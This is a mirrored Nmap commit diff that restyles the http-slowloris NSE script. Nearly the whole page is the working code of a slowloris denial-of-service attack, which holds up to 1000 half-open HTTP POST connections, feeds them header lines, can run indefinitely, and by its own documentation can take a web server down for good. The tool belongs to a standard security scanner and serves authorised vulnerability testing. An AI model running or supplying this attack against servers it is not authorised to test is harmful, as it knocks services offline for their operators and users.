1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-30 03:19:02 +00:00

Style changes:

- Consistent variable naming
  - Default parameters cleanup
  - removed unused variables (like "local t = nmap.timing_level()")
  - renamed functions consistently
  - removed typo from function name ("worker_schedluer")
  - consistent debug messages format
This commit is contained in:
henri
2012-07-31 18:12:28 +00:00
parent 92008abcfa
commit dfdaadccb1

View File

@@ -21,7 +21,7 @@ filtering rules):
* Time taken until DoS
* Number of sockets used
* Number of queries sent
By default the script runs for 30 minutes if DoS is not achieved.
By default the script runs for 30 minutes if DoS is not achieved.
Please note that the number of concurrent connexions must be defined
with the <code>--max-parallelism</code> option (default is 20, suggested
@@ -29,7 +29,7 @@ is 400 or more) Also, be advised that in some cases this attack can
bring the web server down for good, not only while the attack is
running.
Also, due to OS limitations, the script is unlikely to work
Also, due to OS limitations, the script is unlikely to work
when run from Windows.
]]
@@ -37,15 +37,17 @@ when run from Windows.
-- @usage
-- nmap --script http-slowloris --max-parallelism 400 <target>
--
-- @args http-slowloris.timeout Time to wait before sending new http header datas
-- @args http-slowloris.runforever Specify that the script should continue the
-- attack forever. Defaults to false.
-- @args http-slowloris.send_interval Time to wait before sending new http header datas
-- in order to maintain the connection. Defaults to 100 seconds.
-- @args http-slowloris.runforever Specify that the script should continue the attack forever.
-- @args http-slowloris.timelimit Specify maximum run time for DoS attack (30 minutes default).
-- @args http-slowloris.timelimit Specify maximum run time for DoS attack (30
-- minutes default).
--
-- @output
-- PORT STATE SERVICE REASON VERSION
-- 80/tcp open http syn-ack Apache httpd 2.2.20 ((Ubuntu))
-- | http-slowloris:
-- | http-slowloris:
-- | Vulnerable:
-- | the DoS attack took +2m22s
-- | with 501 concurrent connections
@@ -58,126 +60,148 @@ categories = {"dos", "intrusive"}
portrule = shortport.http
local runforever = stdnse.get_script_args('http-slowloris.runforever') or nil
local SendInterval
local TimeLimit
-- this will save the amount of still connected threads
local ThreadCount = 0
-- the maximum amount of sockets during the attack. This could be lower than the
-- requested concurrent connections because of the webserver configuration (eg
-- maxClients on Apache)
local Sockets = 0
-- this will save the amount of new lines sent to the half-http requests until
-- the target runs out of ressources
local Queries = 0
local ServerNotice
local DOSed = false
local StopAll = false
local Reason = "slowloris" -- DoSed due to slowloris attack or something else
local Bestopt
-- get time (in miliseconds) when the script should finish
local function get_end_time()
local t = nmap.timing_level()
local limit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or "30m")
local end_time = 1000 * limit + nmap.clock_ms()
return end_time
if TimeLimit == nil then
return -1
end
return 1000 * TimeLimit + nmap.clock_ms()
end
local thread_count = 0 -- this will save the amount of still connected threads
local sockets = 0 -- the maximum amount of sockets during the attack. This could be lower than the requested concurrent connections because of the webserver configuration (eg maxClients on Apache)
local queries = 0 -- this will save the amount of new lines sent to the half-http requests until the target runs out of ressources
local server_notice
local dosed = false
local stop_all = false
local reason = "slowloris" -- DoSed due to slowloris attack or something else
local bestopt
local function set_parameters()
SendInterval = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.send_interval') or '100s')
if stdnse.get_script_args('http-slowloris.runforever') then
TimeLimit = nil
else
TimeLimit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or '30m')
end
end
local doHalfhttp = function(host,port,obj)
local function do_half_http(host, port, obj)
local condvar = nmap.condvar(obj)
local get_uri = math.random(100000, 900000) -- we will query a random page
if stop_all then
condvar "signal"
if StopAll then
condvar("signal")
return
end
-- create socket
-- Create socket
local slowloris = nmap.new_socket()
slowloris:set_timeout(200 * 1000) -- set a long timeout so our socked doesn't timeout while it's waiting
thread_count = thread_count + 1
slowloris:set_timeout(200 * 1000) -- Set a long timeout so our socked doesn't timeout while it's waiting
ThreadCount = ThreadCount + 1
local catch = function()
-- this connection is now dead
thread_count = thread_count - 1
stdnse.print_debug("HALF_HTTP: lost connection")
-- This connection is now dead
ThreadCount = ThreadCount - 1
stdnse.print_debug(SCRIPT_NAME .. " [HALF HTTP]: lost connection")
slowloris:close()
slowloris = nil
condvar "signal"
condvar("signal")
end
local try = nmap.new_try(catch)
try(slowloris:connect(host.ip, port,bestopt))
try(slowloris:connect(host.ip, port, Bestopt))
-- Build a half-http header.
local half_http = "POST /"..get_uri.." HTTP/1.1\r\n"
half_http = half_http.."Host: "..host.ip.."\r\n"
half_http = half_http.."User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
half_http = half_http.."Content-Length: 42\r\n"
local half_http = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" ..
"Host: " .. host.ip .. "\r\n" ..
"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; " ..
".NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" ..
"Content-Length: 42\r\n"
try(slowloris:send(half_http))
server_notice = " (attack against "..host.ip.."): HTTP stream started."
ServerNotice = " (attack against " .. host.ip .. "): HTTP stream started."
-- During the attack some connections will die and other will respawn.
-- Here we keep in mind the maximum concurrent connections reached.
-- during the attack some connections will die and other will respawn. Here we keep in mind the maximum concurrent connections reached.
if sockets <= thread_count then sockets = thread_count end
local feed_interval = stdnse.get_script_args("http-slowloris.timeout")
if feed_interval == nil then feed_interval = 100 end
if Sockets <= ThreadCount then Sockets = ThreadCount end
-- Maintain a pending HTTP request by adding a new line at a regular 'feed' interval
while true do
if stop_all then
if StopAll then
break
end
stdnse.sleep(feed_interval)
stdnse.sleep(SendInterval)
try(slowloris:send("X-a: b\r\n"))
server_notice = " (attack against "..host.ip.."): Feeding HTTP stream..."
queries = queries + 1
server_notice = server_notice .. "\n(attack against "..host.ip.."): "..queries.." queries sent using "..thread_count.." connections."
ServerNotice = " (attack against " .. host.ip .. "): Feeding HTTP stream..."
Queries = Queries + 1
ServerNotice = ServerNotice .. "\n(attack against " .. host.ip .. "): " .. Queries .. " queries sent using " .. ThreadCount .. " connections."
end
slowloris:close()
thread_count = thread_count - 1
condvar "signal"
ThreadCount = ThreadCount - 1
condvar("signal")
end
-- Monitor the web server
local doMonitor = function(host,port)
-- Monitor the web server
local function do_monitor(host, port)
local general_faults = 0
local request_faults = 0 -- keeps track of how many times we didn't get a reply from the server
stdnse.print_debug("MONITOR: Monitoring " ..host.ip.. " started")
local request = "GET / HTTP/1.1\r\nHost: "..host.ip
.."\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n\r\n"
local monitor, line
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: Monitoring " .. host.ip .. " started")
local request = "GET / HTTP/1.1\r\n" ..
"Host: " .. host.ip ..
"\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; " ..
".NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n\r\n"
local opts = {}
local _
monitor, line, bestopt = comm.tryssl(host,port,"GET / \r\n\r\n",opts) -- first determine if we need ssl
_, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", opts) -- first determine if we need ssl
while not stop_all do
monitor = nmap.new_socket()
local status = monitor:connect(host.ip, port,bestopt)
while not StopAll do
local monitor = nmap.new_socket()
local status = monitor:connect(host.ip, port, Bestopt)
if not status then
general_faults = general_faults + 1
if general_faults > 3 then
reason = "not-slowloris"
dosed = true
break
Reason = "not-slowloris"
DOSed = true
break
end
else
else
status = monitor:send(request)
if not status then
if not status then
general_faults = general_faults + 1
if general_faults > 3 then
reason = "not-slowloris"
dosed = true
break
Reason = "not-slowloris"
DOSed = true
break
end
end
local status, data = monitor:receive_lines(1)
status, _ = monitor:receive_lines(1)
if not status then
stdnse.print_debug("MONITOR: Didn't get a reply from " .. host.ip .. "." )
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: Didn't get a reply from " .. host.ip .. "." )
monitor:close()
request_faults = request_faults +1
if request_faults > 3 then
if runforever == nil then
stdnse.print_debug("MONITOR: server " .. host.ip .. "is now unavailable. The attack worked.")
dosed = true
if TimeLimit then
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: server " .. host.ip .. " is now unavailable. The attack worked.")
DOSed = true
end
monitor:close()
break
@@ -185,96 +209,114 @@ local doMonitor = function(host,port)
else
request_faults = 0
general_faults = 0
stdnse.print_debug("MONITOR: "..host.ip.." still up, answer received." )
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: ".. host.ip .." still up, answer received.")
stdnse.sleep(10)
monitor:close()
end
if stop_all then
if StopAll then
break
end
end
end
end
local mutex = nmap.mutex("http-slowloris")
local threads = {}
local Mutex = nmap.mutex("http-slowloris")
local worker_schedluer = function(host, port)
local function worker_scheduler(host, port)
local Threads = {}
local obj = {}
local condvar = nmap.condvar(obj)
local i
for i=1,1000 do -- The real amount of sockets is triggered by the --max-parallelism option. The remaining threads will replace dead sockets during the attack
local co = stdnse.new_thread(doHalfhttp, host, port,obj)
threads[co] = true
for i = 1, 1000 do
-- The real amount of sockets is triggered by the
-- '--max-parallelism' option. The remaining threads will replace
-- dead sockets during the attack
local co = stdnse.new_thread(do_half_http, host, port, obj)
Threads[co] = true
end
while not dosed and not stop_all do -- keep creating new threads, in case we want to run the attack indefinitely
while not DOSed and not StopAll do
-- keep creating new threads, in case we want to run the attack indefinitely
repeat
condvar "wait"
if stop_all then
return
end
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then
threads[thread] = nil
condvar("wait")
if StopAll then
return
end
end
stdnse.print_debug("starting new thread")
local co = stdnse.new_thread(doHalfhttp, host, port,obj)
threads[co] = true
until next(threads) == nil;
for thread in pairs(Threads) do
if coroutine.status(thread) == "dead" then
Threads[thread] = nil
end
end
stdnse.print_debug(SCRIPT_NAME .. " [SCHEDULER]: starting new thread")
local co = stdnse.new_thread(do_half_http, host, port, obj)
Threads[co] = true
until next(Threads) == nil;
end
end
action = function(host, port)
mutex "lock" -- we want only one slowloris instance running at a single time even if multiple hosts are specified
-- in order to have as many sockets as we can available to this script
Mutex("lock") -- we want only one slowloris instance running at a single
-- time even if multiple hosts are specified
-- in order to have as many sockets as we can available to
-- this script
local output={}
local start,stop,dos_time
set_parameters()
local output = {}
local start, stop, dos_time
start = os.date("!*t")
-- The first thread is for monitoring and is launched before the attack threads
local mon = stdnse.new_thread(doMonitor, host, port)
stdnse.new_thread(do_monitor, host, port)
stdnse.sleep(2) -- let the monitor make the first request
stdnse.print_debug("MAIN THREAD: starting schedluer")
local sched = stdnse.new_thread(worker_schedluer, host, port)
local end_time = get_end_time()
stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: starting scheduler")
stdnse.new_thread(worker_scheduler, host, port)
local end_time = get_end_time()
local last_message
if not (runforever == nil) then
stdnse.print_debug("RUNNING FOREVER")
if TimeLimit == nil then
stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: running forever!")
end
-- return a live notice from time to time
while (nmap.clock_ms() < end_time or not (runforever == nil)) and not stop_all do
if server_notice ~= last_message then -- don't flood the output by repeating the same info
stdnse.print_debug("MAIN THREAD: " .. server_notice)
last_message = server_notice
-- return a live notice from time to time
while (nmap.clock_ms() < end_time or TimeLimit == nil) and not StopAll do
if ServerNotice ~= last_message then
-- don't flood the output by repeating the same info
stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: " .. ServerNotice)
last_message = ServerNotice
end
if dosed and runforever == nil then
if DOSed and TimeLimit ~= nil then
break
end
stdnse.sleep(10)
end
stop = os.date("!*t")
dos_time = stdnse.format_difftime(stop,start)
stop_all = true
if dosed then
if reason == "slowloris" then
stdnse.print_debug(2, "%s: Slowloris Attack stopped, building output", SCRIPT_NAME)
output = "Vulnerable:\n".. "the DoS attack took ".. dos_time .. "\nwith ".. sockets .. " concurrent connections\nand " .. queries .." sent queries"
dos_time = stdnse.format_difftime(stop, start)
StopAll = true
if DOSed then
if Reason == "slowloris" then
stdnse.print_debug(2, SCRIPT_NAME .. " Slowloris Attack stopped, building output")
output = "Vulnerable:\n" ..
"the DoS attack took "..
dos_time .. "\n" ..
"with ".. Sockets .. " concurrent connections\n" ..
"and " .. Queries .." sent queries"
else
stdnse.print_debug(2, "%s: Slowloris Attack stopped. Monitor couldn't communicate with the server.", SCRIPT_NAME)
output = "Probably vulnerable:\n".. "the DoS attack took ".. dos_time .. "\nwith ".. sockets .. " concurrent connections\nand " .. queries .." sent queries"
output = output + "Monitoring thread couldn't communicate with the server. This is probably due to max clients exhaustion or something similar but not due to slowloris attack."
stdnse.print_debug(2, SCRIPT_NAME .. " Slowloris Attack stopped. Monitor couldn't communicate with the server.")
output = "Probably vulnerable:\n" ..
"the DoS attack took " .. dos_time .. "\n" ..
"with " .. Sockets .. " concurrent connections\n" ..
"and " .. Queries .. " sent queries\n" ..
"Monitoring thread couldn't communicate with the server. " ..
"This is probably due to max clients exhaustion or something similar but not due to slowloris attack."
end
mutex "done" -- release the mutex
Mutex("done") -- release the mutex
return stdnse.format_output(true, output)
end
mutex "done" -- release the mutex
Mutex("done") -- release the mutex
return false
end